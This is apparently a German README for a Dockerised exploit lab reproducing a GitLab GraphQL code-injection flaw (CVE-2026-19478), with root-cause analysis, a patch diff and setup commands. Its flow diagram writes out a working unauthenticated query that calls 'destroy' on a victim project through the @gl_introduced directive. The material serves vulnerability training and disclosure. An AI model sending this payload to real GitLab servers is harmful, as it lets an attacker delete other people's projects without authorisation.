Dockerisiertes Exploit-Labor und Skript für CVE-2026-19478, eine kritische, nicht authentifizierte GitLab-GraphQL-Code-Injection, die beliebige Ruby-Methodenaufrufe, Projektlöschung und Datencxfiltration ermöglicht.
Remote-Code-Injection ohne Authentifizierung über die GraphQL-Direktive in GitLab CE/EE — Löschen Sie jedes öffentliche Projekt mit einer einzigen HTTP-Anfrage
Ein praxisorientiertes Penetration-Testing-Labor, das CVE-2026-19478 reproduziert — eine kritische (CVSS 9.4) Schwachstelle in der GraphQL-API von GitLab. Die @gl_introduced-Direktive ermöglicht es nicht authentifizierten Angreifern, beliebige Ruby-Methoden auf serverseitigen Objekten auszuführen — einschließlich Projektlöschung, Datenextraktion und Besitzübertragung — ganz ohne Authentifizierung.
Dieses Labor betreibt eine echte, verwundbare GitLab-CE-19.2.0-Instanz in Docker für realistisches Exploit-Training.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-19478 |
| CVSS-Score | 9.4 (Kritisch) |
| Produkt | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Schwachstellentyp | Code-Injection / Beliebige Methodenausführung (CWE-94) |
| Angriffsvektor | Netzwerk (Remote) |
| Authentifizierung | Keine erforderlich |
| Benutzerinteraktion | Keine |
| Angriffskomplexität | Niedrig |
| Betroffene Versionen | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Behobene Versionen | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Entdeckt von | hiimguardian (via HackerOne) |
| Patch-Datum | 17. August 2026 |
Ein nicht authentifizierter Remote-Angreifer kann:
GitLab verwendet eine benutzerdefinierte GraphQL-Direktive @gl_introduced(version: "X.Y"), um rollierende Bereitstellungen (Rolling Deployments) zu unterstützen. Wenn eine neuere GitLab-Version ein Feld zur GraphQL-API hinzufügt, verarbeiten ältere Instanzen Abfragen, die auf diese neuen Felder verweisen, elegant, indem sie null zurückgeben, anstatt einen Fehler zu werfen.
Datei: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Zeilen 14-36)
Schritt-für-Schritt-Aufschlüsselung:
FutureFieldFilter scannt eingehende GraphQL-Abfragen. Wenn ein Feld @gl_introduced(version) mit einer neueren Version als die des aktuellen Servers aufweist, entfernt er das Feld und setzt context[:contain_future_fields] = true.
IntroducedTracer stellt das ursprüngliche Abfragedokument zur Ausführungszeit wieder her und fügt die entfernten Felder wieder in den AST ein.
FutureFieldFallback#get_field fängt jede Feldabfrage während der Ausführung ab. Es prüft drei Bedingungen:
contain_future_fields gesetzt? ✅__? ✅Wenn alle drei Prüfungen bestanden sind, erzeugt es ein neues GraphQL::Schema::Field ohne Resolver-Klasse.
In graphql-ruby wird ein Feld ohne Resolver aufgelöst, indem object.public_send(field_name) auf dem zugrunde liegenden Ruby-Objekt aufgerufen wird — wodurch der Feldname des Angreifers in einen beliebigen Methodenaufruf auf dem Project-ActiveRecord-Modell umgewandelt wird.
GitLabs Patch ersetzt die implizite Methodendispatch durch einen expliziten NilResolver, der bedingungslos nil zurückgibt. Dadurch bleibt die Kompatibilität mit Rolling Deployments erhalten, während die beliebige Methodenausführung eliminiert wird:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie zum Testen der API# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh